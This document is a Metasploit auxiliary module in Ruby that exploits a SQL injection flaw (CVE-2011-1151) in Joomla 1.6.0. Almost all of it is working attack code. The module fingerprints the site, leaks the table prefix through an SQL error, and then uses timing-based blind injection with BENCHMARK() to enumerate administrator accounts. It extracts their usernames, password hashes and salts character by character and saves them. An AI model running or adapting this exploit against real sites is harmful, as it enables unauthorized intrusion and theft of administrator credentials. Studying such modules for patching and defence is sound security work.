Joomla 1.6.0 SQL Injection

`# Requirements  
require 'msf/core'  
  
# Class declaration  
class Metasploit3 < Msf::Auxiliary  
  
# Includes  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient   
  
# Initialize module  
def initialize(info = {})  
  
# Initialize information  
super(update_info(info,  
'Name' => 'Joomla 1.6.0 // SQL Injection Exploit',  
'Description' => %q{  
A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks   
against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract  
admin credentials, and then store those credentials within the notes_db.  
  
The vulnerability is due to a validation issue in /components/com_content/models/category.php  
that erroneously uses the "string" type whenever filtering the user supplied input. This issue   
was fixed by performing a whitelist check of the user supplied order data against the allowed   
order types, and also escaping the input.  
  
NOTES:  
------------------------------------------------  
* Do not set the BMCT option too high!  
* Do not set the BMCT option too low either ...  
* A delay of about three to five seconds is ideal  
* Increase BMRC if you have issues with reliability  
},  
'Author' =>   
[   
# Exploit Only (Bug credit to Aung Khant)  
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-1151' ],  
[ 'http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html' ],  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'March 17, 2011',  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
# Required  
OptString.new('JDIR', [true, 'Joomla directory', '/']),  
  
# The number of function iterations to run during the benchmark  
OptInt.new('BMCT', [true, 'The number of iterations performed by BENCHMARK()', 500000 ]),  
  
# This is the benchmark delay threshold (in seconds)  
OptInt.new('BMDF', [true, 'The difference, in seconds, of a delayed request vs a normal request', 3 ]),  
  
# The number of benchmark tests to make during each data request.  
# This number may be increased for accuracy if you have problems.  
OptInt.new('BMRC', [true, 'The number of benchmark requests to perform per operation (Speed vs Accuracy)', 1 ]),  
  
# Optional  
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),  
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),  
  
# Database prefix  
OptString.new('PREF', [false, 'Joomla atabase prefixt', 'jos_' ]),  
  
# Admin account extraction limit  
OptInt.new('ALIM', [false, 'The number of admin accounts to extract (default is all available accounts)', nil ]),  
  
# Specific admin user ID to target   
OptInt.new('AUID', [false, 'Target a specific admin user id', nil ]),   
  
# URI used to trigger the bug  
OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),  
  
# Query used to trigger bug  
OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),  
  
], self.class)  
end  
#################################################  
  
# Extract "Set-Cookie"  
def init_cookie(data, cstr = true)  
  
# Raw request? Or cookie data specifically?  
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data  
  
# Beginning  
if ( data )  
  
# Break them apart  
data = data.split(', ')  
  
# Initialize  
ctmp = ''  
tmps = {}  
  
# Parse cookies  
data.each do | x |  
  
# Remove extra data  
x = x.split(';')[0]  
  
# Seperate cookie pairs  
if ( x =~ /([^;\s]+)=([^;\s]+)/im )  
  
# Key  
k = $1  
  
# Val  
v = $2  
  
# Valid cookie value?  
if ( v.length() > 0 )  
  
# Build cookie hash  
tmps[k] = v  
  
# Report cookie status  
print_status("Got Cookie: #{k} => #{v}");  
end  
end  
end  
  
# Build string data  
if ( cstr == true )  
  
# Loop  
tmps.each do |x,y|   
  
# Cookie key/value  
ctmp << "#{x}=#{y};"   
end  
  
# Assign  
tmps['cstr'] = ctmp  
end  
  
# Return  
return tmps  
else  
# Something may be wrong  
init_debug("No cookies within the given response")  
end  
end  
  
#################################################  
  
# Simple debugging output  
def init_debug(resp, exit = 0)  
  
# is DBUG set? Check it  
if ( datastore['DBUG'] )  
  
# Print debugging data  
print_status("######### DEBUG! ########")  
pp resp  
print_status("#########################")  
end  
  
# Continue execution  
if ( exit.to_i > 0 )  
  
# Exit  
exit(0)  
end  
  
end  
  
#################################################  
  
# Generic post wrapper  
def http_post(url, data, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "application/x-www-form-urlencoded"  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout )  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic post multipart wrapper   
def http_post_multipart(url, data, headers = {}, timeout = 15)  
  
# Boundary string  
bndr = Rex::Text.rand_text_alphanumeric(8)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Init  
temp = ''  
  
# Parse form values  
data.each do |name, value|  
  
# Hash means file data  
if ( value.is_a?(Hash) )  
  
# Validate form fields  
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)  
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)  
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)  
encoding = value['encoding'] ? value['encoding']: "Binary"  
  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"  
temp << "Content-Type: #{mimetype}\r\n"  
temp << "Content-Transfer-Encoding: #{encoding}\r\n"  
temp << "\r\n"  
temp << "#{contents}\r\n"  
  
else  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"  
temp << "\r\n"  
temp << "#{value}\r\n"  
end  
end  
  
# Complete the form data  
temp << "--#{bndr}--\r\n"  
  
# Assigned  
data = temp   
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic get wrapper  
def http_get(url, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value // Also, remove post specific data, due to a bug ...  
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw({  
'uri' => datastore['JDIR'] + url,  
'headers' => headers,  
'method' => 'GET',  
}, timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Used to perform benchmark querys  
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )  
  
# Init  
wait = 0  
  
# Defaults  
table = table ? table: 'users'  
  
# SQL Injection string used to trigger the MySQL BECNHMARK() function  
sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")  
  
# Number of tests to run. We run this  
# amount of tests and then look for a  
# median value that is greater than  
# the benchmark difference.  
tnum = tnum ? tnum: datastore['BMRC']  
  
# Run the tests  
tnum.to_i.times do | i |  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Make the request  
init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))  
  
# End time  
bmc2 = Time.now.to_i  
  
# Total time  
wait += bmc2 - bmc1  
end  
  
# Return the results  
return ( wait.to_i / tnum.to_i )  
  
end  
  
#################################################  
  
def get_users_data(snum, slim, cset, sqlf, sqlw)  
  
# Start time  
tot1 = Time.now.to_i  
  
# Initialize  
reqc = 0  
retn = String.new  
  
# Extract salt  
for i in snum..slim  
  
# Offset position  
oset = ( i - snum ) + 1  
  
# Loop charset  
for cbit in cset  
  
# Test character  
cbit.each do | cchr |  
  
# Start time (overall)  
bmc1 = Time.now.to_i  
  
# Benchmark query  
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Verbose  
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))  
  
# Append chr  
retn << cchr  
  
# Exit loop  
break  
end   
  
# Counter  
reqc += 1  
  
end # each   
end # for  
  
# Host not vulnerable?  
if ( oset != retn.length )  
  
# Failure  
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")  
return nil  
end  
end # for  
  
# End time (total)  
tot2 = Time.now.to_i  
  
# Benchmark totals  
tot3 = tot2 - tot1  
  
# Verbose  
print_status("Found data: #{retn}")  
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")  
  
# Return  
return retn  
end  
  
#################################################  
  
def run  
  
# Numeric test string  
tstr = Time.now.to_i.to_s  
  
# MD5 test string  
tmd5 = Rex::Text.md5(tstr)  
  
#################################################  
# STEP 01 // Attempt to extract Joomla version  
#################################################  
  
# Verbose  
print_status("Attempting to determine Joomla version")  
  
# Banner grab request  
resp = http_get("index.php")  
  
# Extract Joomla version information  
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )  
  
# Version  
vers = $1.strip   
  
# Version "parts"  
ver1, ver2, ver3 = vers.split(/\./)  
  
# Only if 1.6.0 aka 1.6  
if ( ver2.to_i != 6 || ver3 )  
  
# Exploit failed  
print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")  
print_error("Proceed with extreme caution, as the exploit may fail")  
init_debug(resp)  
else  
  
# Verbose  
print_status("The target is running Joomla version : #{vers}")  
end  
else  
  
# Verbose  
print_error("Unable to determine Joomla version ...")  
end  
  
#################################################  
# STEP 02 // Trigger an SQL error in order to get  
# the database table prefix for future use.  
#################################################  
  
# Trigger an SQL error  
resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")  
  
# Attempt to extract the table prefix  
if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )  
  
# Prefix  
datastore['PREF'] = $1  
  
# Verbose  
print_status("Host appears vulnerable!")  
print_status("Got database table prefix : #{datastore['PREF']}")  
end  
  
#################################################  
# STEP 03 // Calculate BENCHMARK() response times  
#################################################  
  
# Verbose  
print_status("Calculating target response times")  
print_status("Benchmarking #{datastore['BMRC']} normal requests")  
  
# Normal request median (globally accessible)  
datastore['BMC0'] = sql_benchmark("1=2")  
  
# Verbose   
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")  
print_status("Benchmarking #{datastore['BMRC']} delayed requests")  
  
# Delayed request median  
bmc1 = sql_benchmark("1=1")  
  
# Verbose  
print_status("Delayed request avg: #{bmc1.to_s} seconds")  
  
# Benchmark totals  
bmct = bmc1 - datastore['BMC0']  
  
# Delay too small. The host may not be  
# vulnerable. Try increasing the BMCT.  
if ( bmct.to_i < datastore['BMDF'].to_i )  
  
# Verbose  
print_error("Either your benchmark threshold is too small, or host is not vulnerable")  
print_error("To increase the benchmark threshold adjust the value of the BMDF option")  
print_error("To increase the expression iterator adjust the value of the BMCT option")  
return  
else  
# Host appears exploitable  
print_status("Request Difference: #{bmct.to_s} seconds")  
end  
  
atot = 0 # Total admins  
scnt = 0 # Step counter  
step = 10 # Step increment  
slim = 10000 # Step limit  
  
# 42 is the hard coded base uid within Joomla ...   
# ... and the answer to the ultimate question! ;]  
snum = 42  
  
# No user supplied limit?  
if ( datastore['ALIM'].to_i == 0 && datastore['AUID'].to_i == 0 )  
  
# Verbose  
print_status("Calculating total number of administrators")  
  
# Check how many admin accounts are in the database  
for i in 0..slim do  
  
# Benchmark   
bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])  
  
# If we do not have a delay, then we have reached the end ...  
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )  
  
# Range  
atot = i  
  
# Verbose  
print_status("Successfully confirmed #{atot.to_s} admin accounts")  
  
# Exit loop  
break  
end   
end  
else  
  
# User supplied limit  
atot = datastore['AUID'] ? 1: datastore['ALIM']  
end  
  
#################################################  
# STEP 04 // Attempting to find a valid admin id  
#################################################   
  
# Loops until limit  
while ( snum < slim && scnt < atot )  
  
# Specific admin user ID?  
if ( datastore['AUID'].to_i == 0 )  
  
# Verbose  
print_status("Attempting to find a valid admin ID")  
  
# Verbose  
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")  
  
# Here we attempt to find a valid admin user id by incrementally searching the table  
# "user_usergroup_map" for users belonging to the user group 8, which is, by default  
# the admin user group. First we step through 10 at a time until we pass up a usable  
# admin id, then we step back by #{step} and increment by one until we have a match.  
for i in snum.step(slim, step)  
  
# Benchmark   
bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Range  
itmp = i  
  
# Exit loop  
break  
else  
  
# Out of time ..  
if ( i == slim )  
  
# Failure  
print_error("Unable to find a valid user id. Exploit failed!")  
return  
end  
  
end   
end  
  
# Jump back by #{step} and increment by one  
for i in ( itmp - step ).upto(( itmp + step ))  
  
# Benchmark   
bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# UserID  
auid = i  
  
# Verbose  
print_status("Found a valid admin account uid : #{auid.to_s}")  
  
# Step Counter  
scnt += 1  
  
# Exit loop  
break  
else  
  
# Out of time ..  
if ( i == ( itmp + step ) )  
  
# Failure  
print_error("Unable to find a valid user id. Exploit failed!")  
return  
end  
end   
end  
else  
  
# Specific admin id target  
auid = datastore['AUID']  
print_status("Targeting admin user id: #{auid.to_s}")  
end  
  
#################################################  
# These are the charsets used for the enumeration  
# operations and can be easily expanded if needed  
#################################################  
  
# Hash charset a-f0-9  
hdic = [ ('a'..'f'), ('0'..'9') ]  
  
# Salt charset a-zA-Z0-9  
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]  
  
# Username charset  
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]  
  
#################################################  
# STEP 05 // Attempt to extract admin pass hash  
#################################################  
  
# Verbose  
print_status("Attempting to gather admin password hash")  
  
# Get pass hash  
if ( !( hash = get_users_data(  
1, # Length Start  
32, # Length Maximum  
hdic, # Charset Array  
"password", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin pass hash. Exploit failed!!")  
return  
end  
  
#################################################  
# STEP 06 // Attempt to extract admin pass salt  
#################################################  
  
# Verbose  
print_status("Attempting to gather admin password salt")  
  
# Get pass salt  
if ( !( salt = get_users_data(  
34, # Length Start  
65, # Length Maximum  
sdic, # Charset Array  
"password", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin pass salt. Exploit failed!!")  
return  
end  
  
  
#################################################  
# STEP 08 // Attempt to extract admin username  
#################################################  
  
# Verbose  
print_status("Attempting to determine target username length")  
  
# Hard limit is 150  
for i in 1.upto(150)  
  
# Benchmark   
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Length  
ulen = i  
  
# Verbose  
print_status("The username is #{i.to_s} characters long")  
  
# Exit loop  
break  
end   
end  
  
# Verbose  
print_status('Gathering admin username')  
  
# Get pass salt  
if ( !( user = get_users_data(  
1, # Length Start  
ulen, # Length Maximum  
udic, # Charset Array  
"username", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin user name. Exploit failed!!")  
return  
end  
  
# Verbose  
print_status("USER: #{user} (ID: #{auid.to_s})")  
print_status("HASH: #{hash}")  
print_status("SALT: #{salt}")  
print_status("Inserting credentials into the note database ...")  
  
# Note data  
ndat = {  
  
# Joomla directory  
"JDIR" => datastore['JDIR'],  
  
# Admin ID  
"AUID" => auid,  
  
# Admin User  
"USER" => user,  
  
# Admin Hash  
"HASH" => hash,  
  
# Admin Salt  
"SALT" => salt,  
}  
  
# Save results   
report_note(  
:host => datastore['RHOST'],  
:proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',  
:port => datastore['RPORT'],  
:type => "Joomla Admin Credentials",  
:data => ndat  
)  
end # while  
end  
end`